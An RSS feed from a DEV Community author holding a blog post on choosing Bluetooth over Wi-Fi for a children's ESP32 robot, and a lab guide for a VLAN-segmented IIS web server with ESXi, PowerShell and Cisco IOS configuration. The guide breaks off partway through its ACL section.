<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: ekko1500</title>
    <description>The latest articles on DEV Community by ekko1500 (@ekko1500).</description>
    <link>https://dev.to/ekko1500</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1470782%2Ffcfeafb9-6527-4b83-9b2b-504e65546521.png</url>
      <title>DEV Community: ekko1500</title>
      <link>https://dev.to/ekko1500</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/ekko1500"/>
    <language>en</language>
    <item>
      <title>I Built Both Bluetooth and Wi-Fi… Then I Chose Bluetooth</title>
      <dc:creator>ekko1500</dc:creator>
      <pubDate>Mon, 14 Sep 2026 08:02:52 +0000</pubDate>
      <link>https://dev.to/ekko1500/i-built-both-bluetooth-and-wi-fi-then-i-chose-bluetooth-524b</link>
      <guid>https://dev.to/ekko1500/i-built-both-bluetooth-and-wi-fi-then-i-chose-bluetooth-524b</guid>
      <description>&lt;p&gt;Recently, I spent quite a lot of time working on the communication system for the Padma robot.&lt;/p&gt;

&lt;p&gt;My goal was simple:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Make it possible for children to control the Padma robot directly from the Padma app.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;At first, I thought Wi-Fi would be the better choice.&lt;/p&gt;

&lt;p&gt;I already had a &lt;code&gt;kankaung-wifi&lt;/code&gt; extension, and I started working on making the ESP32 connect to Wi-Fi and communicate with the Padma app.&lt;/p&gt;

&lt;p&gt;I also continued improving the Bluetooth mode at the same time.&lt;/p&gt;

&lt;p&gt;So I ended up working on &lt;strong&gt;both Bluetooth and Wi-Fi&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;And honestly, I was getting excited about the Wi-Fi version.&lt;/p&gt;

&lt;p&gt;Wi-Fi gives me a lot of possibilities: WebSocket communication, faster data transfer, easier OTA updates, and more flexibility for future robotics features.&lt;/p&gt;

&lt;p&gt;But then I started thinking about something more important.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Who is actually going to use this?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Children.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Problem I Started Seeing
&lt;/h2&gt;

&lt;p&gt;From a developer's perspective, connecting an ESP32 to Wi-Fi sounds simple.&lt;/p&gt;

&lt;p&gt;The ESP32 needs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SSID
Password
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then it connects to the network.&lt;/p&gt;

&lt;p&gt;But for a child using Padma, it becomes something like:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Create or enable a phone hotspot.&lt;/li&gt;
&lt;li&gt;Find the hotspot SSID.&lt;/li&gt;
&lt;li&gt;Know the hotspot password.&lt;/li&gt;
&lt;li&gt;Configure the ESP32 with those credentials.&lt;/li&gt;
&lt;li&gt;Make sure the phone and ESP32 are on the same network.&lt;/li&gt;
&lt;li&gt;Somehow find the ESP32's IP address.&lt;/li&gt;
&lt;li&gt;Connect the Padma app to that IP.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Suddenly, something that looks simple from the developer side becomes a lot of steps for the user.&lt;/p&gt;

&lt;p&gt;And if I have a workshop with many children and many robots, the problem becomes even bigger.&lt;/p&gt;

&lt;p&gt;Imagine having 10 or 20 robots in the same room.&lt;/p&gt;

&lt;p&gt;Now I have to think about:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Which hotspot does this robot belong to?&lt;/li&gt;
&lt;li&gt;Which SSID should it use?&lt;/li&gt;
&lt;li&gt;What password?&lt;/li&gt;
&lt;li&gt;What IP address did the ESP32 receive?&lt;/li&gt;
&lt;li&gt;How does the child know which robot to connect to?&lt;/li&gt;
&lt;li&gt;What happens if the hotspot changes?&lt;/li&gt;
&lt;li&gt;What happens if the IP changes?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I could solve these problems.&lt;/p&gt;

&lt;p&gt;I started thinking about QR codes, automatic discovery, static IPs, unique robot IDs, UDP discovery, and other solutions.&lt;/p&gt;

&lt;p&gt;Technically, it was possible.&lt;/p&gt;

&lt;p&gt;But then I realized something.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I was making the system more complicated just to use Wi-Fi.&lt;/strong&gt;&lt;/p&gt;




&lt;h1&gt;
  
  
  Bluetooth Was Already Doing What We Needed
&lt;/h1&gt;

&lt;p&gt;The Bluetooth version was much simpler.&lt;/p&gt;

&lt;p&gt;The basic idea is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Padma App
    ↓
Bluetooth
    ↓
ESP32
    ↓
Robot
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No router.&lt;/p&gt;

&lt;p&gt;No hotspot.&lt;/p&gt;

&lt;p&gt;No SSID.&lt;/p&gt;

&lt;p&gt;No password.&lt;/p&gt;

&lt;p&gt;No IP address.&lt;/p&gt;

&lt;p&gt;The child can simply open Padma, select their robot, and start coding.&lt;/p&gt;

&lt;p&gt;Of course, Bluetooth has its own challenges.&lt;/p&gt;

&lt;p&gt;I had to deal with connection stability, device discovery, write operations, and even problems like messages crossing each other.&lt;/p&gt;

&lt;p&gt;I spent quite a lot of time fixing those problems.&lt;/p&gt;

&lt;p&gt;But after working through them, I realized that Bluetooth was already good enough for what Padma actually needs right now.&lt;/p&gt;




&lt;h1&gt;
  
  
  The Important Question
&lt;/h1&gt;

&lt;p&gt;I think this was an important lesson for me as a developer.&lt;/p&gt;

&lt;p&gt;I was asking:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;"Which technology is better?"&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;But I should have been asking:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;"Which technology is better for my users?"&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Wi-Fi might be more powerful.&lt;/p&gt;

&lt;p&gt;It might give me more possibilities in the future.&lt;/p&gt;

&lt;p&gt;But Padma isn't currently trying to build a high-bandwidth robotics platform.&lt;/p&gt;

&lt;p&gt;It's trying to help &lt;strong&gt;children learn programming by controlling robots&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;For that purpose, simplicity matters more.&lt;/p&gt;




&lt;h1&gt;
  
  
  So I Made a Decision
&lt;/h1&gt;

&lt;p&gt;For now, I decided to make &lt;strong&gt;Bluetooth the main communication method for Padma robots.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The experience I want is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Turn on robot
      ↓
Open Padma
      ↓
Connect to robot
      ↓
Create blocks
      ↓
🚗 Robot moves
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it.&lt;/p&gt;

&lt;p&gt;I don't want a child to have to understand networking before they can learn programming.&lt;/p&gt;

&lt;p&gt;They should be thinking about:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IF obstacle detected
    ↓
    turn left
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Not:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Which IP address did my ESP32 get?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;😅&lt;/p&gt;




&lt;h1&gt;
  
  
  But I'm Not Throwing Wi-Fi Away
&lt;/h1&gt;

&lt;p&gt;One thing I don't want to do is completely delete the Wi-Fi implementation.&lt;/p&gt;

&lt;p&gt;I've already spent a lot of time building and experimenting with &lt;code&gt;kankaung-wifi&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;And I still believe Wi-Fi will be useful for Padma in the future.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;OTA firmware updates&lt;/li&gt;
&lt;li&gt;Larger data transfers&lt;/li&gt;
&lt;li&gt;Advanced telemetry&lt;/li&gt;
&lt;li&gt;Camera-related features&lt;/li&gt;
&lt;li&gt;More complex robotics projects&lt;/li&gt;
&lt;li&gt;Future remote-control features&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So instead of deleting it, I'm going to &lt;strong&gt;keep the Wi-Fi code in the project, but comment it out for now.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The current focus will be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kankaung-bluetooth
        ↓
     PRIMARY
        ↓
   Padma Robot
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;while:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kankaung-wifi
        ↓
     FUTURE
        ↓
   Keep developing
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This way, I'm not saying:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Wi-Fi is bad."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I'm saying:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;"Wi-Fi isn't the right user experience for Padma right now."&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h1&gt;
  
  
  What I Learned
&lt;/h1&gt;

&lt;p&gt;This project reminded me that engineering isn't always about choosing the most powerful technology.&lt;/p&gt;

&lt;p&gt;Sometimes it's about removing complexity.&lt;/p&gt;

&lt;p&gt;As developers, we naturally enjoy solving complicated technical problems.&lt;/p&gt;

&lt;p&gt;I definitely do.&lt;/p&gt;

&lt;p&gt;I can spend hours thinking about networking, protocols, discovery systems, WebSockets, IP addresses, and device provisioning.&lt;/p&gt;

&lt;p&gt;But sometimes the best solution is the one that allows the user to &lt;strong&gt;never think about those things at all.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For Padma, I think Bluetooth is that solution—for now.&lt;/p&gt;

&lt;p&gt;And maybe that's one of the most important parts of building technology for children:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Don't make them learn the complexity of the system just to enjoy the thing you're trying to teach them.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Let them open Padma.&lt;/p&gt;

&lt;p&gt;Build their blocks.&lt;/p&gt;

&lt;p&gt;Press start.&lt;/p&gt;

&lt;p&gt;And watch their robot move.&lt;/p&gt;

</description>
      <category>scratch</category>
      <category>esp32</category>
      <category>bluetooth</category>
      <category>wifi</category>
    </item>
    <item>
      <title>🛠️ Step-by-Step Lab Guide: Web Server with VLAN Segmentation</title>
      <dc:creator>ekko1500</dc:creator>
      <pubDate>Wed, 09 Sep 2026 06:43:05 +0000</pubDate>
      <link>https://dev.to/ekko1500/step-by-step-lab-guide-web-server-with-vlan-segmentation-33e5</link>
      <guid>https://dev.to/ekko1500/step-by-step-lab-guide-web-server-with-vlan-segmentation-33e5</guid>
      <description>&lt;p&gt;This lab creates an isolated network environment where a Windows Server with IIS sits behind VLAN segmentation, accessible only from authorized VLANs.&lt;/p&gt;




&lt;h2&gt;
  
  
  📋 Lab Overview
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Internet (Simulated)
       ↓
   [Router] ← Layer 3 routing + ACLs
       ↓
   [Switch] ← VLAN 10, 20, 30 + VTP Server
    ↙   ↘
VLAN 10    VLAN 20
(Web Server) (Client PCs)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Your rules mapped:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Rule 1&lt;/strong&gt; – Allow 30 devices (office + internet) → Configure ACL permitting /27 subnet&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rule 2&lt;/strong&gt; – Access server from VLAN 10 → Assign web server to VLAN 10&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rule 3&lt;/strong&gt; – Access local VM from VLAN 20 → Client PCs in VLAN 20 can reach VLAN 10&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Phase 1: VMware ESXi Setup
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1.1: Install ESXi
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Download VMware ESXi from Broadcom (free license available)&lt;/li&gt;
&lt;li&gt;Install on bare metal or in VMware Workstation for testing&lt;/li&gt;
&lt;li&gt;Set management IP: &lt;code&gt;192.168.1.50/24&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 1.2: Create Virtual Switch for VLANs
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Reference:&lt;/strong&gt; VLAN deployment requires port groups with specific VLAN IDs &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Log into ESXi web interface (https://&lt;code&gt;[your-ESXi-IP]&lt;/code&gt;/ui)&lt;/li&gt;
&lt;li&gt;Navigate to &lt;strong&gt;Networking → Virtual switches&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Add standard virtual switch&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Name: &lt;code&gt;vSwitch-VLAN&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No uplink adapters&lt;/strong&gt; (isolated internal network) &lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Add&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 1.3: Create VLAN Port Groups
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port Group Name&lt;/th&gt;
&lt;th&gt;VLAN ID&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;VLAN 10 - Servers&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;Web Server VM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VLAN 20 - Clients&lt;/td&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;Client PCs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VLAN 30 - Management&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;Management access&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Steps for each:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Networking → Port groups → Add port group&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Name: &lt;code&gt;VLAN 10 - Servers&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;VLAN ID: &lt;code&gt;10&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Virtual switch: &lt;code&gt;vSwitch-VLAN&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Add&lt;/strong&gt; &lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; VLAN ID must be between 2 and 4000 &lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Phase 2: Create Virtual Machines
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 2.1: Web Server VM (VLAN 10)
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Virtual Machines → Create/Register VM&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Name: &lt;code&gt;WEB-SERVER-01&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Guest OS: &lt;code&gt;Microsoft Windows Server 2019/2022&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;CPU: 2 vCPU, RAM: 4GB, HDD: 40GB&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Network Adapter 1:&lt;/strong&gt; &lt;code&gt;VLAN 10 - Servers&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Complete creation, then power on&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 2.2: Client VM (VLAN 20)
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Create/Register VM&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Name: &lt;code&gt;CLIENT-01&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Guest OS: &lt;code&gt;Windows 10/11&lt;/code&gt; or &lt;code&gt;Ubuntu Linux&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;CPU: 1 vCPU, RAM: 2GB, HDD: 32GB&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Network Adapter 1:&lt;/strong&gt; &lt;code&gt;VLAN 20 - Clients&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Power on after creation&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 2.3: Verify Isolation (Before Router Config)
&lt;/h3&gt;

&lt;p&gt;Both VMs cannot ping each other yet—they're on different VLANs with no router between them.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 3: Windows Server IIS Configuration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 3.1: Set Static IP on Web Server
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Inside WEB-SERVER-01 VM:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Open &lt;strong&gt;Control Panel → Network and Sharing Center → Change adapter settings&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Right-click network adapter → &lt;strong&gt;Properties&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Select &lt;strong&gt;Internet Protocol Version 4 (TCP/IPv4)&lt;/strong&gt; → &lt;strong&gt;Properties&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Configure:

&lt;ul&gt;
&lt;li&gt;IP address: &lt;code&gt;10.10.10.10&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Subnet mask: &lt;code&gt;255.255.255.0&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Default gateway: &lt;code&gt;10.10.10.1&lt;/code&gt; (router interface for VLAN 10)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 3.2: Install IIS
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;PowerShell as Administrator:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Install-WindowsFeature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Web-Server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-IncludeManagementTools&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 3.3: Create Test Website
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Open &lt;strong&gt;IIS Manager&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Right-click &lt;strong&gt;Sites&lt;/strong&gt; → &lt;strong&gt;Add Website&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Site name: &lt;code&gt;TestSite&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Physical path: &lt;code&gt;C:\inetpub\testsite&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Create folder and add &lt;code&gt;index.html&lt;/code&gt;:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;&lt;/span&gt;VLAN 10 Web Server&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 3.4: Configure Windows Firewall
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;New-NetFirewallRule&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-DisplayName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Allow HTTP"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Direction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Inbound&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Protocol&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;TCP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-LocalPort&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;80&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Action&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Allow&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Phase 4: Router/Switch Configuration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 4.1: VTP Server Setup (Central Switch)
&lt;/h3&gt;

&lt;p&gt;VTP propagates VLAN configuration across switches&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cisco_ios"&gt;&lt;code&gt;&lt;span class="k"&gt;Switch#&lt;/span&gt; configure terminal
&lt;span class="k"&gt;Switch(config)#&lt;/span&gt; vtp domain MYLAB
&lt;span class="k"&gt;Switch(config)#&lt;/span&gt; vtp mode server
&lt;span class="k"&gt;Switch(config)#&lt;/span&gt; vtp password cisco123
&lt;span class="k"&gt;Switch(config)#&lt;/span&gt; vtp pruning
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 4.2: Create VLANs
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cisco_ios"&gt;&lt;code&gt;&lt;span class="k"&gt;Switch(config)#&lt;/span&gt; vlan 10
&lt;span class="k"&gt;Switch(config-vlan)#&lt;/span&gt; name SERVERS
&lt;span class="k"&gt;Switch(config-vlan)#&lt;/span&gt; exit

&lt;span class="k"&gt;Switch(config)#&lt;/span&gt; vlan 20
&lt;span class="k"&gt;Switch(config-vlan)#&lt;/span&gt; name CLIENTS
&lt;span class="k"&gt;Switch(config-vlan)#&lt;/span&gt; exit

&lt;span class="k"&gt;Switch(config)#&lt;/span&gt; vlan 30
&lt;span class="k"&gt;Switch(config-vlan)#&lt;/span&gt; name MANAGEMENT
&lt;span class="k"&gt;Switch(config-vlan)#&lt;/span&gt; exit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 4.3: Configure Trunk Ports
&lt;/h3&gt;

&lt;p&gt;For VTP to work, trunk ports must be configured between switches&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cisco_ios"&gt;&lt;code&gt;&lt;span class="k"&gt;Switch(config)#&lt;/span&gt; interface gi1/0/1
&lt;span class="k"&gt;Switch(config-if)#&lt;/span&gt; switchport mode trunk
&lt;span class="k"&gt;Switch(config-if)#&lt;/span&gt; switchport trunk encapsulation dot1q
&lt;span class="k"&gt;Switch(config-if)#&lt;/span&gt; switchport trunk allowed vlan 1,10,20,30
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 4.4: Assign Access Ports
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Web server port:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cisco_ios"&gt;&lt;code&gt;&lt;span class="k"&gt;Switch(config)#&lt;/span&gt; interface gi1/0/2
&lt;span class="k"&gt;Switch(config-if)#&lt;/span&gt; switchport mode access
&lt;span class="k"&gt;Switch(config-if)#&lt;/span&gt; switchport access vlan 10
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Client ports:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cisco_ios"&gt;&lt;code&gt;&lt;span class="k"&gt;Switch(config)#&lt;/span&gt; interface gi1/0/3
&lt;span class="k"&gt;Switch(config-if)#&lt;/span&gt; switchport mode access
&lt;span class="k"&gt;Switch(config-if)#&lt;/span&gt; switchport access vlan 20
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 4.5: Router-on-a-Stick (Inter-VLAN Routing)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Router configuration:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cisco_ios"&gt;&lt;code&gt;&lt;span class="k"&gt;Router(config)#&lt;/span&gt; interface gi0/1.10
&lt;span class="k"&gt;Router(config-subif)#&lt;/span&gt; encapsulation dot1Q 10
&lt;span class="k"&gt;Router(config-subif)#&lt;/span&gt; ip address &lt;span class="m"&gt;10.10.10.1&lt;/span&gt; &lt;span class="m"&gt;255.255.255.0&lt;/span&gt;
&lt;span class="k"&gt;Router(config-subif)#&lt;/span&gt; exit

&lt;span class="k"&gt;Router(config)#&lt;/span&gt; interface gi0/1.20
&lt;span class="k"&gt;Router(config-subif)#&lt;/span&gt; encapsulation dot1Q 20
&lt;span class="k"&gt;Router(config-subif)#&lt;/span&gt; ip address &lt;span class="m"&gt;10.10.20.1&lt;/span&gt; &lt;span class="m"&gt;255.255.255.0&lt;/span&gt;
&lt;span class="k"&gt;Router(config-subif)#&lt;/span&gt; exit

&lt;span class="k"&gt;Router(config)#&lt;/span&gt; interface gi0/1.30
&lt;span class="k"&gt;Router(config-subif)#&lt;/span&gt; encapsulation dot1Q 30
&lt;span class="k"&gt;Router(config-subif)#&lt;/span&gt; ip address &lt;span class="m"&gt;10.10.30.1&lt;/span&gt; &lt;span class="m"&gt;255.255.255.0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 4.6: Set Client Static IPs
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;On CLIENT-01 VM:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;IP: &lt;code&gt;10.10.20.50&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Mask: &lt;code&gt;255.255.255.0&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Gateway: &lt;code&gt;10.10.20.1&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Test connectivity:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;ping 10.10.10.10
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Should succeed now—router forwards between VLANs.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 5: Access Control Rules
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 5.1: Rule 1 – Allow 30 Office Devices
&lt;/h3&gt;

&lt;p&gt;Define ACL for subnet &lt;code&gt;192.168.1.0/27&lt;/code&gt; (30 hosts)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cisco_ios"&gt;&lt;code&gt;&lt;span class="k"&gt;Router(config)#&lt;/span&gt; access-list 100 &lt;span class="ow"&gt;permit&lt;/span&gt; ip &lt;span class="m"&gt;192.168.1.0&lt;/span&gt; &lt;span class="m"&gt;0.0.0.31&lt;/span&gt; any
&lt;span class="k"&gt;Router(config)#&lt;/span&gt; interface gi0/0
